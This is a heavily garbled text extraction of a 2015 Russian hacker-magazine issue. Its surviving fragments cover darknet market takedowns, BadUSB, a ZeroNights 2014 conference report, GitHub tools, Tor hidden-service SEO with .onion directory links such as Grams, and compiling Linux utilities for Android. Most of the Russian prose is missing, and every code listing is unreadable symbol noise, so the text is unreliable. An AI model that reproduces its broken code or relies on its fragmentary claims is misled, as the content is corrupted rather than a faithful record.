Upload
marin-binzari
View
227
Download
0
Embed Size (px)
Citation preview
7/24/2019 2015 01 (192)
1/145
!"#
. 12
Cover Story
ZERONIGHTS
2014
Android 5.0
. 36
Eiffel
. 90
Varnish
. 114
7/24/2019 2015 01 (192)
2/145
01 (192) : 25 .12.2014
, , , 16
.,-
, .
192 , ,
, .
, -
.
-. .
, -
. -
.
, -, --, - .
,
, .
, , -
, , ][--
. , , ][
.
, ZN, , ,
. -, . -
, , ,
, .
!
ZN, -
, , .
ZN , ,
, PR, , , -, . ZN
,
. ,
, -
, .
, ,
, , ZN, ][
!
Stay tuned, stay ][!
,
][
@IlyaRusanen
: [email protected].: 115280,,.-,. 19,.: : 606400, .,-,.,.,. 13.: , 614111,, . , . , . 26. ,(-),77-5675629.01.2014.Scanweb, P L 116, Korjalanka tu 27, 45101Kouvola,.96 500. 450...,-, . .-: [email protected]. , , 2015
PC ZONE, UNITS
ant
X-MOBILE
execbit.ru
Dr.
MALWARE,,
PHREAKING
UNIXOIDSYN/ACK
-
DVD
ant
D1g1
Security-
shop.glc.ru, [email protected], (495) 663-82-77, (800) 200-3-
999 (, , )
: , 109147,/50
PR-
16+
7/24/2019 2015 01 (192)
3/145
7/24/2019 2015 01 (192)
4/145
2015
192
004 MEGANEWS
012 ZERONIGHTS 2014:
020
022 Firefox Developer Edition
024 SEO
028 Linux-Android
036 security-Android 5.0
042 #3.
044 EASY HACK
048
054 IPMI/BMC-
058 ?
060
066 X-TOOLS C
068 2014 ,
076 2014 ][
082 R
086 MBAAS
090 , , Boeing
096 Sails.js MVC-
102 Rake
106 Parallels
108 , ,!
114 -Varnish120 ,SIP-
125 , Linux11
130 ESPER
135 Apache Tomcat UNIX-
140 FAQ
144 WWW2-
7/24/2019 2015 01 (192)
5/145
, -
-
Silk Road,
Silk Road 2.0.
Silk Road
,
Onymous.
Onymous -
. -
,
Tor. , Silk Road 2.0
, Cloud 9,
Hydra, Pandora, Blue Sky, Topix, Flugsvamp, Cannabis
Road Black Market,
, -
, . ,
Tor-,
. , -
: Cash Machine,
Cash Flow, Golden Nugget, Fast Cash . -
, -
Bitcoin 250 . , -
, , -
, .
-
, , : -
? ,
Tor.
, , -
.
, -
,
Onymous
. ,
. -
,
. ,
-
, -
,
Silk Road
2.0. ,
.
MEGANEWS
Mifrill
414.onion
.
17-
-
.
Silk RoadONYMOUS,
Silk Road
2.026-
(akaDefcon).Silk Road
2.0
,
,
.
Silk Road 2.0
.
7/24/2019 2015 01 (192)
6/145
,
, iPhone, -.,,
.
Palo Alto Networks , 400 Mac, iPhone iPad -
, WireLurker.
iCloud . -
WireLurker -
Maiyadi (). , , -
Apple, .
, ,
.
, WireLurker -
.
,
Enterprise.
. , ,
: (,
).
,APPLE,
-
, -
-
15
.
.
-
Mail.Ru, -
eBaza ,
,
.-
9,6
mail.ru, 2,5 -
yandex.ru 1,1 rambler.ru.
list.ru, bk.ru, narod.ru
yahoo.com. , -
, 100% -.
-
. , Mail.Ru , ,
,
0,2% . ,
,
- 200
. , 98,8%
, -
.
.
-/
. . , , . ,!, ,.
OS X (Yosemite).
Rootpipe
.,Apple
, .
01 /192/ 2015 5
7/24/2019 2015 01 (192)
7/145
,
SR Labs -
,
USB ? ,
,
.
(github.com/
adamcaudill/Psychson), -
.
(
: opensource.srlabs.de/projects/badusb ), -
USB-
: Phison, Alcor, Renesas, ASmedia, Genesys
Logic, FTDI, Cypress Microchip. -
,
PacSec.-
,
, , .
, -
, . ,
, ,
.
, -
Phison .ASmedia,
, . Genesys -
USB 3.0, USB 2.0. ,
, , ,
.
BADUSB
USB-
,BadUSB
,-
USB- (-
)-
-
.
,
.
Dropbox
451 Research.
, Dropbox
,
Dropbox
-
1000 -
, OneDrive. ,
18%
,
.
WordPress
-
WordPress 3.x, -
,.
,
JavaScript-, -
. WordPress 4.0
, -
WordPress 4.0.1.-
3.9.3, 3.8.5 3.7.5.
!"#
$$#-
, Google+ -. -,
, -, -
.
,
-Google,
01 /192/ 2015MEGANEWS6
7/24/2019 2015 01 (192)
8/145
-
,
. , , ,
,
.Bitcoin
, -
. ,
,
BC .
, ,
,
().
.
CryptoLabs ,
,
.-
Case.(86 !54)
, .
Case SIM-, -
60 .
, ,
, .
multi-signature, -
, BITCOIN-
,
NFC-(RFID-NTAG216, NFC Type 2)
,
. -
. . , -
,
. Case
, -
. , ,
-
, : , ,
E Ink , -
.
-
. Mr.Bitcoin
, -
,
.
,
, NFC-
(RFID- NTAG216,
NFC Type 2).:
.
-
-.
, Case
BC-.
-
Trezor. Trezor
-
, ,
,
. -
Case .
?
Microsoft ,
-
Windows 10.
,
, , -
, ?
-3:
:
Cortana
-
-
-
Windows Store !"
$%
-
&'
, -
&(
&)
Windows 8/8.1
&%
-
!"
$'
01 /192/ 2015 7
7/24/2019 2015 01 (192)
9/145
Mozilla Firefox -
. , Firefox 1.0 102004 , -
.
Firefox 33.1 , -
., Forget (), -
, .
-Google, 2004
., Firefox-
., Mozilla,
Google (
90% ). -
. ,
Yahoo, , Baidu.
Google, Bing, DuckDuckGo, eBay, Amazon, Twitter
Wikipedia. Google, DuckDuckGo, OZON.ru, Price.ru, Mail.Ru Wikipedia. -
.
FIREFOX,
Google -
()
2014 . 75 -
, 11 . ,
2013 -
.
, Facebook Messenger, WhatsApp,
Hike Twitter. .
-
, ,
: -
(
), -
,
?. , -
.
Google -
No-CAPTCHA,
ReCAPTCHA. -
Snapchat, WordPress
HumbleBundle, .
, No-CAPTCHA , -
, .
, , -
IP- , -
, .
, ,
--
-
. -
,
,
. -
,
. -
Google -
.
,,
GOOGLENO-CAPTCHA
FIREFOXGOOGLE
Lamoda
LinguaLeo
-
Anywayanyday
Delivery Club
Aviasales
Telegram
2014
, :
01 /192/ 2015MEGANEWS8
7/24/2019 2015 01 (192)
10/145
Z Launcher-
-,
-
Nexus 5, Galaxy
S5, S4, S3, Moto X,
Moto G, HTC One, Sony
Xperia Z1.
-
.
-
zlauncher.com.
2016 Samsung -
-
Apple (
Samsung 80%
). Samsung
2014 --
Apple,
.
.
Super Mario Brothers, Call
of Duty.
()
5
140 .
Sandisk -
SSD-DIMM, -,
. UltraDIMM -
DDR3.
Google -
-
OS X
, Santa.
-
inhouse,
. Microsoft
-
:).
Nokia
Microsoft, . Nokia
Nokia
N1 Android 5.0. , Nokia
2016 . .
iPad Mini, Nokia -
, , N1
, iPad, . -
: -
, IPS-7,9 (2048 !1536)
Gorilla Glass 3. N1Intel Atom Z3580 2 -
(LPDDR3). -(eMMC 5.0) 32 . -
, 8 5 ,
5300 Wolfson WM8958E. , N1
micro-USB 2.0 Type-C .
250 .
-
. Nokia Z Launcher.
, :
, -
( ).
Nokia .
,
. , -
. , , .
... . , -
, .
, Z Launcher , -
, , .
, . -
.
NOKIAZ LAUNCHER
01 /192/ 2015 9
7/24/2019 2015 01 (192)
11/145
: -
.
,
.
Facebook Twitter, , : -
, .
Twitter .
, -
. ? :
Twitter . -
..
Facebook . 1 -,.Facebook
(, -
) , -
. , ,
, , , -
().
.? , -
.
TWITTER FACEBOOK
-.-
-, AAA-.
Minecraft ,-.
,Facebook -
-
,
,-
,
.
10
Facebook -
-
2014 .
(4960 ), (1893), -
(1773). , ,
29.
, ,
, ,. ,
15 -
, 3 ,
.
Bitcoin
BC
319. -
,
, -
Silk Road 2.0, ,
, , -
. . ,
, -
400 . ,
,
BC :).
!"##
$% ###
01 /192/ 2015
7/24/2019 2015 01 (192)
12/145
Raspberry Pi Model B+,
,
Model A. , : Raspberry Pi Model
A+ .
, -
:-, ,
,
.-
.
Model A+ :
86 65.23 .--
Broadcomm BCM2385 ARM11
700, 256HDMI. -
, ,
. Model A+ USB (-
, Model B+ ), 40-
GPIO microSD. , -
20 .
, , , (,
). ,
. ,
IMP Ubuntu . IMP
(200 -
), :
(11 !11 ) Odroid U3 HardKernel, -
ARM Cortex-V9 1,7 , 2 16
. 20 -
Wireless HDMI, 20
. -Ubuntu 14.04 LTS , IMP
,
.
,
IMP, -
34%
(33 799100 000
).
,
,
-
.
Google Play
Services ,
Copresence,
iOS
Android. ,
Bluetooth Wi-Fi.
Microsoft:
Microsoft Office iOS Android
.
Office 365 .
end-to-end.
Cryptocat, Silent
TextTelegram, WhatsApp -
, -
.
: Microsoft
Xbox,
, APU
20-.
APU 28--
-
.
01 /192/ 2015 11
7/24/2019 2015 01 (192)
13/145
. -. . , --Security
Vacation Club. DSec, , .
!"#$%&'()*
:
ZeroNights,
. -
, ,
, ,
. Digital Security, -
ZN, -
-
.
ZN .
, -
, mobile web securiry, -
defensive-
(
, ,
ZN).
-
. ZN-
-
, ,
,
afterparties
:).
-
ZN2014 ,
-
. ,
ZN
, ,
, , -
. Go on!
01 /192/ 2015Cover Story12
7/24/2019 2015 01 (192)
14/145
01 /192/ 2015 ZeroNights 2014: 13
7/24/2019 2015 01 (192)
15/145
ZN
-/Jean-Philippe (JP) Aumasson
:
Kudelski Security.
ZeroNights 2014:
Heartbleed, OpenSSL, LibreSSL Truecrypt,
, Crypto
Coding Standard.
-/ Jake McGinty
:Open Whisper
Systems.
ZeroNights 2014:-
, --
,
-
,
-
, ,
.
:Kudelski
Security, -
.
ZeroNights 2014:
Workshop,
,
;
DES; -
AES.
,
? ,
. ,
ZeroNights ,
. -
: , , ,
. ,
. , . -
,
, , --
.
, .
. ,
, , -
, . , ,
, , . , -
, , .,
, . -
, ,
. , , -
.
, , Hardware Village, ,
, , -
. , . , --
, ,
Hardware Village -
. , -
, Hardware Village
, . ,
! , !
Cover Story14
7/24/2019 2015 01 (192)
16/145
Web-security
/ Nicolas Gregoire
:
.
ZeroNights 2014:, -
25
.
:-
Wallarm,
][.
ZeroNights 2014:
-,
, -
.
:
bug bounty ,
][ -
, ,
Xakep.RU :).
ZeroNights 2014:,
. -
, -
-
,
,
, (,
) .
,][. -
. : ZeroNights
. ,
, -
.: , -
.
, .
fast tracks ( 15-
) , , , , , -
.
ZN .
, , -
, , -
][. ,
, ,
, 2014-
:).
, -. ZN
.
: .
ZeroNights 2014: 15 01 /192/ 2015
7/24/2019 2015 01 (192)
17/145
, DSec,X-Tools ,
.
ZeroNights -
, -
.
-
ZeroNights, -
.
, -
,
ZeroNights. -
-
, , -
,
.,-
,
-
.
.
,
, ,
,
, ,
, -
ZeroNights. ,
:)., , -
,
DEFCON Russia
.
P. S. : -
ZeroNights?
:
!
Mobile security
/ Peter Hlavaty
:-
KEEN Team, ][.
ZeroNights 2014:-
root-Android
, -
,
.
,
:-
, ][.
ZeroNights 2014:
,
4G-
. -
: SIM-, 4G
USB-, , IP-.
/ Marco Grassi
:R&D
viaForensics.
ZeroNights 2014:
-
.
-
Android iOS, ,
-
.
:-
viaForensics, ][.
ZeroNights 2014:Workshop
, -
forensics iOS.
Cover Story16 01 /192/ 2015
7/24/2019 2015 01 (192)
18/145
//
/ Fabien Duchene
: ,
.
ZeroNights 2014:-
, ShiftMonkeyKameleonFuzz, -
, .
,,][ ZeroNights .
-
-,-
. , -
-
, , , :).
, -
, : , , CTF, -
, -
.
, --
.
. ,
, . -
, -0day-
Heartbleed ,
-.
, ,
proof of concept, .
,
-:
, .
, , , -
, ZN.
QIWI,
. -
, ,
QIWI-,
:). ,
, ,
VISA ZN.
, , ZeroNights
. -
,
.Digital
Security, , -
The Prodigy One Love Hackers (1995).
-
, ,
.
/ Patroklos Argyroudis (argp)
:-
Census S.A.ZeroNights 2014:Heapbleed,
-
(,
, /, )
, ,
.
:-
.
ZeroNights 2014:
, , ,
.
:Digital Security.
ZeroNights 2014:
AV, hardware assisted (VT-x,
AMD-V).
:-
, ][.
ZeroNights 2014:,
,
.
: ZeroNights?: !
17ZeroNights 2014: 01 /192/ 2015
7/24/2019 2015 01 (192)
19/145
, Positive Technologies,ZN . ,
-
ZN,
, -
.
.
-
. -
. - ,
: bit.ly/1tQGXoh. ,
, -
. , ,
, , , .
,
. Hardware Village, .
, .
,-
. CTF, -
,
. -
afterparty .
, -
, . .
, ESAGE Lab, , -
ZeroNights 2013,
,
.
(), -
, . -
, .
:
.
.
., CTF-,
open source
-.
QIWI, , , -
.
,
.
:).
. , @toxo4ka
bug bounty , .
() -
, @akochkov
- radare2 ( ), -
. , private speaker party, ,
, ,
.
, @090h DJ-,
Hardware Village, , . ,
:).
-
, , ,
, , ,
.
Fast track
:Digital
Security, ][.
ZeroNights 2014:
Oracle, Oracle Database
Communication Protocol -
.
:-
Positive Technologies,
][.
ZeroNights 2014:
. -
, ,
,
. , ,
.
:-
(Esage Lab), ][,
.
ZeroNights 2014:-
Go ,
Go (-, -
,
)
-
.
01 /192/ 2015Cover Story18
7/24/2019 2015 01 (192)
20/145
, PR-DSec ZeroNights, , .
, ,
,, .
: ,
, , , .ZN , -
, . -
. , : -
, ,
, CTF -.
, .
, , ,-
, .,
Defensive Track,-.-
, .
, 12 , -
, .
, -
CTF,
.
Shadow servants, 1336 h4x0rz, ,
.
for fun, , .-
(). , ,
., , ZeroNights :).
, Wallarm. ZN -
. , . -
MQ ,
DOS-. DEFCON,
( ,
). 20052006,
:).
! -. -
. -..
,-,Wallarm, -
, -
ZeroNights ,
. ZN -
, !
: , , -(, , ) -
Black Hat, , :). ,
ZN,
.
, , Keynote. -
, ,
. Solar Designer , DOS, -
() -
, , .
-, , , -
. -
. , -
Foursquare ZN, ?
Defensive Track
:QIWI.
ZeroNights 2014: -
. -
NGFW
DPI .
:
.
ZeroNights 2014: -
-
open source .
:-
Mail.Ru Group.
ZeroNights 2014:
,
,
, -
.
:-
Nokia R&N, -
Here,
][.
ZeroNights 2014:, -
ModSecurity
Web -, -
.
:, , , -Black Hat, , :)
01 /192/ 2015 ZeroNights 2014: 19
7/24/2019 2015 01 (192)
21/145
"
@ilya_pestov
,- , . -
GitHub-, ., .
ClockPicker
https://github.com/weareoutman/clockpickerUI/UX-, -
datetime-picker.
hours-
, . -
.
!"#$ &'())*+#,-./0123.- &'3&4-#&452+6
!#,-./ /7-5*+/58/+&'())* +932:0&3,/23'+$('.5*+;;+6 !)-(, &'())*+#,-./0123.-0(""3,+6 !)-(, &'())*+1'7-?#&3, 1'7-?#&3,0/#:5+6!@)-(,6
!@)-(,6!@"#$6!)&2#-/ /7-5*+/58/@A($()&2#-/+6 BCDE&'3&4-#&452DFE&'3&4-#&452CFG
!@)&2#-/6
ClockPickerjQuery.
io.js
https://github.com/iojs/io.jsJavaScript -
, -
: Node.js,
Joyent,
io.js.
, Node.js -
2013 ( 0.10)
V8. -
semver. Io.js
4000 GitHub.
13 2015
, , -
Node.js npm.
Handsontable
https://github.com/handsontable/handsontable
,
Excel- .
, ,
Handsontable. -
API,
.
50
.
c Backbone, Angular, -
, ,
.
01 /192/ 201520 PC ZONE
7/24/2019 2015 01 (192)
22/145
Nightrain
https://github.com/naetech/nightrain
PHP,
- . -
,
OS , Windows Linux.
-
, nightrain -
,
.Python
PHP/HTML/CSS/JS-
.
SQLite 3.-
, -
, , .
, -
-.
Front-end Job InterviewQuestions
https://github.com/h5bp/Front-end-Developer-
Interview-Questions
-
.
HTML5 Boilerplate
- ,
HTML, CSS, JS .
,
, ,
.
Mermaid
https://github.com/knsv/mermaid
-
-.Mermaid
JavaScript-, -
-
-:
!"#$ &'())*+,-.,(#"+/ 01234 56789848:9 ;:6< 1636!="#$/>.(?@ A3B 2C1(." -">-DEE/F A#GH I-JIFKL3MNG" -">-OB KEE/0P5-)#MGQB 0EE/F:G-F5C3-)N'I MG-DB 0EE/F4RMF6C3-)N'I IRMDB
(. -
).
Clappr
https://github.com/globocom/clappr
Clappr -
. Clappr -
: ,
,
Google-. Clappr.
!SM"T/ !"#$ #"*+?'(T-.+/!="#$/ !)&.#?I/ $(.?'(T-.6' * "M&N,-GIU >-I6'-,-GIKT8"L+?'(T-.+OB $(.?'(T-. * G-R0'(??.U V'(T-.LP)MN.&-W +@II?W==TMN.U$#"-M=
@-.-U,?X+QOB ?'(T-.U(II(&@4ML?'(T-.6'OB !=)&.#?I/!=SM"T/
PhotoSwipe
https://github.com/dimsemenov/PhotoSwipe
. 3000
. PhotoSwipe -
HTML5 History API
-
, , -
, -
.
$(.?)R?6'-,-GI * "M&N,-GIUYN-.T
7/24/2019 2015 01 (192)
23/145
JavaScript-
SpiderMonkeyMozilla
Google V8
"
FIREFOX DEVELOPER EDITION
@ilya_pestov
Mozilla
. -, Firefox.
, Mozillian,
, -
Internet Explorer 95% . -, -
Chrome
SpiderMonkeyV8 Google. -,
, , Firefox Developer Edition.
Firefox Developer Edition -
Firefox Aurora, Firefox
Nightly. :
Nightly Developer Edition Beta Release.
12, . -
,
Firefox.
-
-
. -
.
.
,
browsing data
FIREFOX HELLO
, ,
WebRTC, ,
.
,
Telefonica
Firefox -
-
. -
Skype Firefox Hello.
FFDEWebRTC
-
: -
,
-cookie, ,
, .
01 /192/ 201522 PC ZONE
7/24/2019 2015 01 (192)
24/145
-
-,
. -
, ,
Firefox Chrome - DevTools,
.
, ,
, , -
. , -
. Firefox
-
.
JavaScript.
-, ,
-DOM -
!"#$%"'"%.
-
.
-
CSS-
.
.
Scratchpad JavaScript . online- offline-
.
.
VALENCE -- -
Firefox Tools
Adapter. Valence -
, -
(, Chrome
Android, Safari iOS) -
-, -
Firefox.
WEB AUDIO EDITOR
Web Audio API -
.
, . , ,
Firefox Developer
Edition., -
, ...
Mozilla -? ,
.Its everything youre
used to, only better..
.
.
Web Audio Editor
FFDE
WEBIDE
WebIDE-(-
) Firefox 33, Developer
Edition.WebIDE, -
, ,
Firefox OS
Firefox OS. , -
, .
.
FFOS
01 /192/ 2015 23
7/24/2019 2015 01 (192)
25/145
"#$-
ff333xx
WARNING
-
-
.,
-
,
-
.
01 /192/ 201524 PC ZONE
7/24/2019 2015 01 (192)
26/145
-1999 Ozon Mail? Tor -
. . -. -
.90-, -, -, , . -.
WWW
-
Tor Browser:
https://www.torproject.
org
, -(-):
;
;
.
Tor -
. .
01 /192/ 2015 SEO 25
7/24/2019 2015 01 (192)
27/145
WWW
Tor
Browser
:
https://www.torproject.
org/projects/torbrowser/
design/
, , -
. Tor-
, .-
. -,
NoScript Tor
Browser.
JavaScript, -
.
-, -
, HTML5-
,
Canvas Fingerprint (
, -
-
).
canvas- Tor
.
, , . -
, -
.
-, Tor cookies,
-
.
, -
Firefox.
HTML-
(. ][ ), .
-,
https://hacks.mozilla.org.
tor-hidden--, :
1. Tor (https://www.torproject.org/download/download-easy.html.en).
2. -. . , ,
XAMPP Windows (sourceforge.net/projects/xampp/) MAMPP (www.mamp.
info/en/) OS X.
3. .:
Windows (https://www.torproject.org/docs/tor-doc-windows.html.en);
OS X (https://www.torproject.org/docs/tor-doc-osx.html.en);
Linux (https://www.torproject.org/docs/tor-doc-unix.html.en).
- -
-,
-
( -
).
-
:
. ,
,
-
AgoraMarket.
.-
-
, -
.
ONION-
01 /192/ 201526 PC ZONE
7/24/2019 2015 01 (192)
28/145
, -, SEO:
, .Tor--
. -Torch
, 12
. -
.
SEO- -
.
. -
,
,
. - ,
,
, ,
-
, -
.
. -
.
Grams (http://grams7enufi7jmdl.onion/
addasite);
TorFind (http://ndj6p3asftxboa7j.onion/
submit.html);
Ahmia (https://ahmia.fi/add/).
INFO
.Google-Tor--.
-open source AWStats (www.awstats.org)Piwik (piwik.org).
-
2000-,
-
.
-
,
.
-
.
:
1. Tor -
. -
, -
,
Grams -
, .
Google drugs 431 , Tor- .
, .
Tor-,
. -
Tor-.
2. -
, -
, Tor-
,
. -
. , -
(), -
description.
. -
, -
, , -
.
Torch (http://xmh57jrzrnw6insl.onion/
adinfo.html);
TorAds Grams (http://toradsc6vvmtugty.onion/
auth/home).
INFO
.onion, .i2p. .
-
-
. -
, .
Stay tuned!
WWW
The Hidden Wiki:http://kpvzxxbbraaigawj.
onion
Onion wiki:http://cu7yjdxqw37yjv5n.
onion/Main_Page
01 /192/ 2015 SEO 27
7/24/2019 2015 01 (192)
29/145
Android-, -
, Linux. -
, Terminal IDE, ,
. ?
LINUX-ANDROID
01 /192/ 2015X-Mobile28
7/24/2019 2015 01 (192)
30/145
()
, - -
, ,
(
Ubuntu):
! #$%& '()*+,) -.#)'// +-)*0&1,+.$(+!,2 3-#&. +(,14 3$-/%*,##,.)-'/
5-( 0$1/ /-306*%,7/-389.0$1#,#:*%,7 2;;(1&)&*0&1,*%,7 /-32;;%,7/9*$)-/#2#/)(1&0 5/-3;+%,7&% $?2 '.%1&-%*.%B*1;E0*/-.$2*2=6F6GH3-.! HI'.%1&-%*.%B*1;E0*/-.$2*2=6F6GH3-.
Linaro. forum.xda-
developers.com/showthread.php?t=2098133 .
Linaro GCC 4.6.4-2013.05 (-
Cortex, arm-unknown-linux-gnueabi-
linaro_4.6.4-2013.05-build_2013_05_18.tar.bz2).
:
! )'1 2A74 '1>*$.B.&@.*/-.$2*+.$,'3-*
/-.'1&FGH6HG*9E;8HE:*3$-/%F9E;8FE:F;=H)'1H359! >7 '1>*$.B.&@.*/-.$2*+.$,'3-* /-.'1&FGH6HG*9E;8HE: /-.'1&*)&&/0D'-.*GH6
~/.bashrc (
, ,
, , -
):
,2(&1) JKLMN!JKLM#I'.%1&-%*;=I'10D*'1>
,2(&1) [XTKWPFYZYWPPLN!OMPQRSI/-.'1&*)&&/0D'-.*GH6I'1>*$.B.&@.*/-.$2*+.$,'3-I#C#1&&) ,2(&1) KW\MN'1> ,2(&1) \WPYYF\PQJX[RFTUVN'1>*/-.$2*'.%1&-%,'3-*,2(&1) \WPYYF
\PQJX[RF[XTKWPN'1>*$.B.&@.*/-.$2* +.$,'3-*,2(&1) \WPYYF\PQJX[RN!\WPYYF\PQJX[RFTUVF,2(&1)\\PQJX[RN!\WPYYF\PQJX[R
, -
.
,
/proc/modules.
, .
,
( ,
, ),
, ,
/system/lib/modules - insmod .
,
(
Android-
goo.gl/gIzvZe), ,
.
, Android Linux.
, -
, . .
Native-Android -
( ),
..-
.
, (NTFS, ), .
(
Android 4.3, Google. . .).
-
, , , , ,
.
, , -
Linux-.
make
modules, , -
, ( net/netfilter
):
! >'B, >&%$/,#F(1,('1,
! >'B, QN.,)I.,)"/),1 \][K^YFQPU_[RN*4.&*(-0
01 /192/ 2015 29
7/24/2019 2015 01 (192)
31/145
( -
) opensource.samsung.com. . -
/proc/config.gz, ,
, ,
.
, ,
arch/arm/configs/, -
. n1a_00_
defconfig, .
, , -
:
" #$%& '($)**)+&,-.'!/
make menuconfig, .
" #$%& 012 345678)9:;0,'.0?@-
-
:
" #%+@A !'$B" -? $A-CD$A#DE..FDGH#$/& !'$B" !'+ I 0'$#& JK%.J 0&L&- -? JMNJ !'$B OP
, ,
ZIP-. ,
(-
. . .). -
:
" -+ !'$B" /@F -B.'& CFF?QRDD/@FCSEI-.#D%.SQCD6'TU&A'&BI/@F" -? IDKI%. ID6'TU&A'&BDQTQFDB@ED#.+SB&QD" -? IDGH#$/& ID6'TU&A'&BD%&A'&BD
,
, ( ,
),
, d-h.st/RgI, , , -
AnyKernel/
kernel/. , -
, AnyKernel/META-INF/com/google/android/
updater-script.
:
S@)?A@'FVW=LFA$-F@'/ 8TQF 4@B&QIIIWXPQ&F)?A./A&QQV(I******XP#.S'FVW&LFYWZW9[;WZ WQTQFWZ WDQTQFWXP?$-%$/&)&LFA$-F)+@AVWQTQFWZ WDQTQFWXP
S'#.S'FVWDQTQFWXP
-
,
.
,
,
-
01 /192/ 2015X-Mobile30
7/24/2019 2015 01 (192)
32/145
!"#$%"&'()*+'%,-'"&. 01%&12 !213444)56$,-7,.1#1+'%,-'#8"%()71%&12)9 ):';$)56!"#$%"&'()>>9 ):';$:8!;$#";,.1)5631'#$1%;(=9 =9 =>>>9 ):';$:;7?@@'";.43A)5631'#$1%;(=9 =9 =>>>9 ):';$:;7?@@'";.)5631'#$1%;(=9 =9 =>>>9 ):';$:!&$,-7?@@'";.)56
%!$%@.%,;():3?"&:?!3B?@+)9 )88)9 )"CD:81E:?2@-7:;;-?27=$F)9 )@CD:';$:?@@'4";.)56%!$%@.%,;():';$:!&$,-7?@@'";.)9 )G")9 ):';$:?@@'4";.)9 )G@)9 ):';$:)56%!$%@.%,;():';$:;7?@@'";.43A)56
%!$%@.%,;():3?"&:?!3B?@+)9 )88)9 )"CD:';$:&1H?@@'4";.)9 )@CD:81E:?2@-7:;;-?27=$F)56!"#$%"&'()I@&1J)56
/dev/block/mmcblk0p9 ,
. boot,
. -
, -
:
K C@% " "& :81E:?2@-7:$2,'C@%;:L:?BG&,;1:?@@'6 M 8@ 23 G2 K"6 8@&1
:
K -8 N&B01%&12 OO P"$ G% N&B01%&124P"$ L
(TWRP CWM).
-
, -
. ,
, -
, , -
.
:
K 1+$@%' QRSTT#QSUV
7/24/2019 2015 01 (192)
33/145
bash, -
/system/xbin.
, bash - Linaro. Bionic, -
libc Android,
POSIX-, bash (, -, mkfifo() wctomb()). ,
bash
. Linaro , , -
POSIX- glibc. bash , , Android, , glibc, -, . , -
.
LshwLshw , . -
( Linaro) .
, src/Makefile src/core/Makefile C++ Linaro ( CXX arm-unknown-linux-gnueabi-g++),
--static CXXFLAGS. -
.
Htop
Linux.
ncurses, .htop,
ncurses:
! #$%&' ()*+ ,, -% !.! /01) ())+2334)+50675*'03+78306736-7'9193
6-7'919:;5@4 6-7'919:;5! )=' ?>@4 ()*+:S5T5U5)='50>! -% ()*+:S5T5U
:
! 1?+*') VRRWXFQAJY::9Z9'**)J!XHIFCD.ABACDDEY! 1?+*') VWXFQAJY::9)=)&- :H!KABACDDE.FGGHEHDIAO3
&6-P7%1 ::9Z9'**)J!XHIFCD.ABACDDEY! 1?+*') V[[WXFQAJY::9Z9'**)J!XHIFCD.ABACDDEY! 1?+*') XGWXFQAJY:X!KABACDDE.FGGHEHDIAO3 6-7'919:;5
7/24/2019 2015 01 (192)
34/145
SSH-
Android.-
tmux.
lshw
:
! #$%&'!()*+ ,,-&./01*2 ,,+'134+,./1/5%
,,65.134+,)'5%&6+! 217+
, Error opening terminal: screen. - - terminfo
(Terminal IDE, , -
), /system/etc -:
8 +9:&*/ ;?@AB0$.C./+2$+/%$/+*25'D&
htop .
Tmux
Tmux
screen,
OpenBSD. - Android adb shell SSH (, TV Box HDMI- Android. .
.).
tmux
ncurses , -rootdir. ncurses, -
libevent. tmux, -
$SYSROOT_ADDITIONS libevent tmux:
! +9:&*/ EFE=BB;GHII?;?B@E0!JKB>
7/24/2019 2015 01 (192)
35/145
! #$ %%&'()*+*,-! %&./-01*,%23! %,!1/4* 55302-6.475'(,/8 55$(2.)'*5
23.4*$ 55$(2.)'*509*,22' 55$(2.)'*52.79'*2594*!86!:;:?@AAB>B=C:
! 7.D* EE 7.D* (,2-.''
tmux:
! *8904- FGH@I:6J552-.-(#5B!K:;:?@AAB>B=C:L&(,#'/$* 5B&!K:;:?@AAB>B=C:L&(,#'/$*&,#/42*2 552M2400-6
!HBC@B=C:L& '() 5H!K:;:?@AAB>B=C:L&(,#'/$* 5H!K:;:?@AAB>B=C:L&(,#'/$*&,#/42*2 552M2400-6!HBC@?FGH@I:6J5 B!K:;:?@AAB>B=C:L &(,#'/$* 552M2400-6!HBC@?HBN:6J
H!K:;:?@AAB>B=C:L &'() 5'*+*,-552M2400-6!HBC@ORTABB=C:6!K[=ROL&,14*9& 400-$(4! %,!1/4* 55302-6.475'(,/8 55$(2.)'*523.4*$55U(-359#.96'(,/8 55$(2.)'*5$)/2 5594*!86
!:;:?@AAB>B=C:! 7.D* EE 7.D* (,2-.''
ngrep, , :
! *8904- FGH@I:6J552-.-(# 5B!K:;:?@AAB>B=C:L &(,#'/$* 5B!K:;:?@AAB>B=C:L&(,#'/$*&9#.9552M2400-6!HBC@B=C:L&'()5H!K:;:?@AAB>B=C:L&(,#'/$* 5H
!K:;:?@AAB>B=C:L&(,#'/$*&9#.9
552M2400-6!HBC@B=C:L&(,#'/$*&9#.9! 7.D*
configure. libpcap
D-Bus -Android (
Linux, -
). ngrep
libpcap -
/etc/passwd Android,
.
LINUX DEPLOY
,
(, -
torrent- rtorrent
libtorrent, ,
,
Boost). -
-
,
-
.
-
-
.
-
Linux Deploy, -
Google Play.
Android
Linux, -
,
POSIX- (
), -
chroot- ( - )
userland- -
, ARM.
Linux Deploy , -
loop-.
:
Ubuntu;
OpenSUSE;
Fedora;
Arch Linux;
Gentoo;
, , Kali Linux (, ,
).
: SSH -
VNC. SSH-Android Linux
Deploy ,
. VNC,
Android VNC-(bVNC).
,
Linux, -
. , -
,
-
. ,
, -
.
(
, )
Android. .
Android
POSIX-, -
,
Linux., :
SDL -
; -
;
FFmpeg - -
;
Qt , Qt Android;
Unity ;
Ogre OpenGL
3D-.
, -
.
!
#$%&'(%
01 /192/ 2015X-Mobile34
7/24/2019 2015 01 (192)
36/145
-
,
, , iptables. -
,
.
POSIX-
NDK,
Bionic POSIX, -
ARM, -
, , glibc, -
. ,
, -
, ,
.
Linux Deploy, Android -
userland-.
. -,
, -, userland-
4 , ,
, .
POSIX- Android -
.
-, .
Stay freedom.
UbuntuLinux Deploy
UbuntuLinux Deploy
01 /192/ 2015 35
7/24/2019 2015 01 (192)
37/145
A r t H a k k e r P h o t o g r a p h y @ f l i c k e r c o m
01 /192/ 2015X-Mobile36
7/24/2019 2015 01 (192)
38/145
Lollipop Android Ice Cream Sandwitch.
Google , ,
.
,
.
SECURITY-ANDROID 5.0
androidstreet.net
01 /192/ 2015 37
7/24/2019 2015 01 (192)
39/145
Google Android -
.
Android -
,
, ,
RPC--
(Binder), - ,
(dalvik) , ,
(
).
-
-
OpenBSD
Bionic (
dmalloc calloc, Android 1.5), -
No eXecute (NX) 2.3,
-fstack-protector Wformat-security
-Werror=format-security (-
).
3.0 -
,
-
Linux- dm-crypt. Android 4.0
API
